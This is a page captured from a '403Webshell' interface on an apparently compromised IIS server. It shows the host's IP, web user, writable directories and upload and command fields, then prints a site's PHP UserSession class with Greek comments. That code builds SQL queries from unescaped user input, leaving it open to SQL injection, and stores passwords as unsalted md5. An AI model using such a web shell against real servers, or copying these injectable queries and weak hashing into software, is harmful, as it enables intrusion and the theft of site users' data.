403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.231
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/Civil/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/Civil/includes/UserSession.php
<?
////////////////////////////////////////////////////////////////////////////////////////
// Class: UserSession
// Purpose: Control user access to pages
///////////////////////////////////////////////////////////////////////////////////////

class UserSession
{
	private $connector;

	public function __construct($connector)
	{
		$this->connector = $connector;
		if (!isset($_SESSION["usergroup"]))
		{
			$this->setAnonymous();
		}
	}

	public function encryptedPassword($password)
	{
		return md5($password);
	}
	
	// Συνδέει το χρήστη
	public function login($username, $password, $backend=false)
	{
		if ($this->checkUser($username, $password))
		{
			$myrow = $this->getUserInfo($username);
			
			if ($backend==true and $myrow["perm_backend_enter"]==0)
				return false;

			$this->setUserSessionInfo($myrow, $backend);						
			$this->connector->query("UPDATE users SET lastvisit=NOW() WHERE id=".$myrow["id"]);
			
			return true;
		}
		else
		{
			return false;
		}
	}

	// Ελέγχει για την ύπαρξη ενεργού χρήστη με το συγκεκριμένο username και password
	public function checkUser($username, $password)
	{
		$result = $this->connector->query("SELECT * FROM users WHERE username='$username' and password='".$this->encryptedPassword($password)."' and state=1");
		return (mysqli_num_rows($result )>0?true:false);
	}

	// Επιστρέφει τα στοιχεία του χρήστη με το δεδομένο id
	public function getUserById($id)
	{
		$result = $this->connector->query("SELECT * FROM users WHERE id=".$id);
		return $this->connector->fetchArray($result);
	}

	// Τραβάει τα δεδομένα του χρήστη με το δεδομένο username από τη βάση μαζί με τα στοιχεία της ομάδας του
	public function getUserInfo($username)
	{
		$result = $this->connector->query("SELECT *, users.id as id FROM users, user_groups WHERE users.username='$username' and users.usergroup=user_groups.id");
		if ($this->connector->getNumRows($result)>0)
			return $this->connector->fetchArray($result);
		else
			return NULL;			
	}

	// Ενημερώνει τις μεταβλητές SESSION για τον χρήστη
	public function setUserSessionInfo($info_array, $backend=false)
	{
		if ($backend==true)
			$prefix = "cms_";
		else
			$prefix = "";

			$_SESSION[$prefix."userid"] = $info_array["id"];
			$_SESSION[$prefix."username"] = $info_array["username"];
			$_SESSION[$prefix."fullname"] = $info_array["fullname"];
			$_SESSION[$prefix."email"] = $info_array["email"];
			$_SESSION[$prefix."created"] = $info_array["created"];
			$_SESSION[$prefix."usergroup"] = $info_array["usergroup"];
			$_SESSION[$prefix."website"] = $info_array["website"];
			$_SESSION[$prefix."address"] = $info_array["address"];
			$_SESSION[$prefix."telephone"] = $info_array["telephone"];
			$_SESSION[$prefix."signature"] = $info_array["signature"];
			
			foreach ($info_array as $key=>$value)	// αποθήκευση των permissions
			{
				if (strstr($key,"perm_"))
					$_SESSION[$prefix.$key] = $value;
			}
	}

	// Αποσύνδεση χρήστη
	public function logout($backend=false)
	{
		if ($backend==false)
		{
			$_SESSION["usergroup"] = 5;  // Anonymous
			unset($_SESSION["userid"]);
			unset($_SESSION["username"]);
			unset($_SESSION["fullname"]);
			$this->setAnonymous();
		}
		else
		{
			foreach ($_SESSION as $key=>$value)
			{
				if (strpos($key, "cms_")===0)
					unset($_SESSION[$key]);
			}
		}	
	}
	
	// Θέτει το επίπεδο χρήστη στο Anonymous (not logged in)
	public function setAnonymous()
	{
		$_SESSION["usergroup"] = 5;  // Anonymous
		$result = $this->connector->query("SELECT * FROM user_groups WHERE id=5");
		
		if ($myrow=$this->connector->fetchArray($result))
		{
			foreach ($myrow as $key=>$value)	// αποθήκευση των permissions
			{
				if (strstr($key,"perm_"))
					$_SESSION[$key] = $value;
			}	
		}
	}

	// Ελέγχει για την ύπαρξη χρήστη με το συγκεκριμένο username
	public function usernameExists($username)
	{
		$result = $this->connector->query("SELECT * FROM users WHERE username='$username'");
		return (mysqli_num_rows($result )>0?true:false);
	}

	// Ελέγχει για την ύπαρξη χρήστη με το συγκεκριμένο username και email
	public function usernameEmailExists($username, $email)
	{
		$result = $this->connector->query("SELECT * FROM users WHERE username='$username' and email='$email'");
		return ($this->connector->getNumRows($result)>0?true:false);
	}

	
	// Ελέγχει αν υπάρχει χρήστης με το δεδομένο email και επιστρέφει το id του χρήστη κατόχου
	public function userEmailExists($email)
	{
		$result = $this->connector->query("SELECT * FROM users WHERE email='$email'");
		if ($myrow=$this->connector->fetchArray($result))
			return $myrow["id"];
		else
			return false;
	}
	
	// Επιστρέφει όλα τα emails των Administrators σε ένα string χωρισμένα με κόμματα
	public function getAdminEmails()
	{
		$result = $this->connector->query("SELECT email FROM users WHERE usergroup=1");
		while ($myrow = $this->connector->fetchArray($result))
			$emails_array[] = $myrow["email"];
		
		if (count($emails_array)>0)
		{
			$admin_emails = implode(",",$emails_array);
			return $admin_emails;
		}
		else
			return false;
	}

	// Επιστρέφει πίνακα με όλα τα usernames που υπάρχουν στη βάση
	public function getAllUsernames()
	{
		$usernames_array = array();
		$result = $this->connector->query("SELECT username FROM users");
		while ($myrow = $this->connector->fetchArray($result))	
		{
			$usernames_array[] = $myrow["username"];
		}

		return $usernames_array;
	}

	// Επιστρέφει πίνακα με όλους τους ενεργούς εγγεγραμμένους χρήστες
	public function getAllActiveUsers()
	{
		$users_array = array();
		
		$result = $this->connector->query("SELECT id, fullname as name, email FROM users WHERE state=1");
		
		while ($myrow = $this->connector->fetchAssoc($result))	
		{
			if ($myrow["email"]!="")
				$users_array[] = $myrow;
		}

		return $users_array;
	}

	// Επιστρέφει πίνακα με όλα τα email των εγγεγραμμένων
	public function getAllEmails()
	{
		$emails_array = array();
		
		$result = $this->connector->query("SELECT DISTINCT email FROM users");
		
		while ($myrow = $this->connector->fetchArray($result))	
		{
			if ($myrow["email"]!="")
				$emails_array[] = $myrow["email"];
		}

		return $emails_array;
	}

	// Ελέγχει αν θα επιτραπεί η πρόσβαση του χρήστη στη ζητούμενη κατηγορία
	public function allowUserAccessToCategory($category_settings)
	{
		if ($category_settings["menu_type"]!=8 and ($_SESSION["perm_frontend_view_public_content"]==0 or ($category_settings["access"]==1 and $_SESSION["perm_frontend_view_registered_content"]==0)))
			return false;
		else
			return true;
	}

	// Καταχωρεί το συγκεκριμένο χρήστη (front-end)
	public function insertUser($fullname, $username, $password, $email, $usergroup, $state, $activation, $general_settings)
	{
		if ($general_settings["user_new_account_activation"]==0)  // Λογαριασμός ενεργοποιημένος από την αρχή
		{
			$user_activated = 1;
			$activation_code = "";
		}
		else if ($general_settings["user_new_account_activation"]==1)  // Ενεργοποίηση λογαριασμού μέσω e-mail
		{
			$user_activated = 0;
			$activation_code = $activation;
		}
		else if ($general_settings["user_new_account_activation"]==2)  // Ενεργοποίηση λογαριασμού απο Διαχειριστή
		{
			$user_activated = 0;
			$activation_code = "";
		}

		$result = $this->connector->query("INSERT INTO users (fullname, username, password, email, usergroup, state, activation) VALUES ('$fullname','$username','$password','$email',4,'$user_activated','$activation_code')");

		return $result;
	}
	
	// Ενεργοποιεί το συγκεκριμένο χρήστη
	public function activateUser($activation_code)
	{
		$result = $this->connector->query("UPDATE users SET activation=NULL, state=1 WHERE activation='$activation_code'");
		if (mysqli_affected_rows($this->connector->link)>0)
			return true;
		else
			return false;
	}

	// Καταχωρεί το συγκεκριμένο χρήστη (back-end)
	public function insertNewUser($fullname, $username, $password, $email, $usergroup, $state, $website, $address, $telephone, $signature)
	{
		$result = $this->connector->query("INSERT INTO users (fullname, username, password, email, usergroup, state, created, website, address, telephone, signature) VALUES ('$fullname','$username','".$this->encryptedPassword($password)."','$email','$usergroup','$state', NOW(),'$website','$address','$telephone','$signature')");

		return $result;
	}	
	
	// Ενημερώνει τα στοιχεία του συγκεκριμένου χρήστη
	public function updateUser($id, $fullname, $password, $email, $website, $address, $telephone, $signature)
	{
		if ($password!="")
			$result = $this->connector->query("UPDATE users SET fullname='$fullname', password='".$this->encryptedPassword($password)."', email='$email', website='$website', address='$address', telephone='$telephone', signature='$signature' WHERE id=".$id);
		else
			$result = $this->connector->query("UPDATE users SET fullname='$fullname', email='$email', website='$website', address='$address', telephone='$telephone', signature='$signature' WHERE id=".$id);
		
		return $result;
	}

	// Ενημερώνει τα στοιχεία βασικά στοιχεία (username, usergroup και state) του συγκεκριμένου χρήστη (xρησιμοποιείται στο back-end)
	public function updateUserCore($id, $username, $usergroup, $state)
	{
		$result = $this->connector->query("UPDATE users SET username='$username', usergroup='$usergroup', state='$state' WHERE id=".$id);		
		return $result;
	}
	
	// Διαγραφή του χρήστη με το συγκεκριμένο id
	public function deleteUser($id)
	{
		$result = $this->connector->query("DELETE FROM users WHERE id=".$id);	
		return $result;
	}
	
	// Αλλάζει το password του συγκεκριμένου χρήστη
	public function updateUserPassword($username, $new_password)
	{
			$result = $this->connector->query("UPDATE users SET password='".$this->encryptedPassword($new_password)."' WHERE username='$username'");
				
			if ($this->connector->getAffectedRows()>0)
				return true;
			else
				return false;
	}

	// Εναλλάσει τη κατάσταση (ενεργός/ανενεργός) του χρήστη με το συγκεκριμένο id
	public function toggleUserState($id)
	{
		$myrow = $this->getUserById($id);
		
		if ($myrow["state"]==1)
			$new_state = 0;
		else
			$new_state = 1;

		$result = $this->connector->query("UPDATE users SET state='$new_state' WHERE id=".$id);
		return $result;
	}

	// Επιστρέφει πίνακα με τις υπάρχουσες ομάδες (user groups) των χρηστών ταξινομημένες από τις ομάδες υψηλότερων δικαιωμάτων προς τις κατώτερες
	public function getUserGroups()
	{
		$user_groups = array();
		$result = $this->connector->query("SELECT * FROM user_groups WHERE sort_order>0 ORDER BY sort_order");
		while ($myrow = $this->connector->fetchArray($result))
		{
			$user_groups[] = $myrow;
		}

		return $user_groups;
	}
	
	public function insertLog($action)
	{
		if($action == '')
			return false;

		$action = mysqli_real_escape_string($this->connector->link, $action);

		if( ($remote_addr = $_SERVER['REMOTE_ADDR']) == '')
			$remote_addr = "REMOTE_ADDR_UNKNOWN"; 

		if (isset($_SESSION["cms_userid"]))
			$cms_userid = $_SESSION["cms_userid"];
		else
			$cms_userid = 0;
		
		$result = $this->connector->query("INSERT INTO log (user_id, remote_addr, action) VALUES(".$cms_userid.",'$remote_addr', '$action')");

		return $result;  
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit